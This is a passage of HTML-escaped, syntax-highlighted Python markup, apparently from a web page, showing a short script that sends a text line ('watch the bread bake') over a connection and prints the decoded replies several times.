z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;watch the bread bake&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
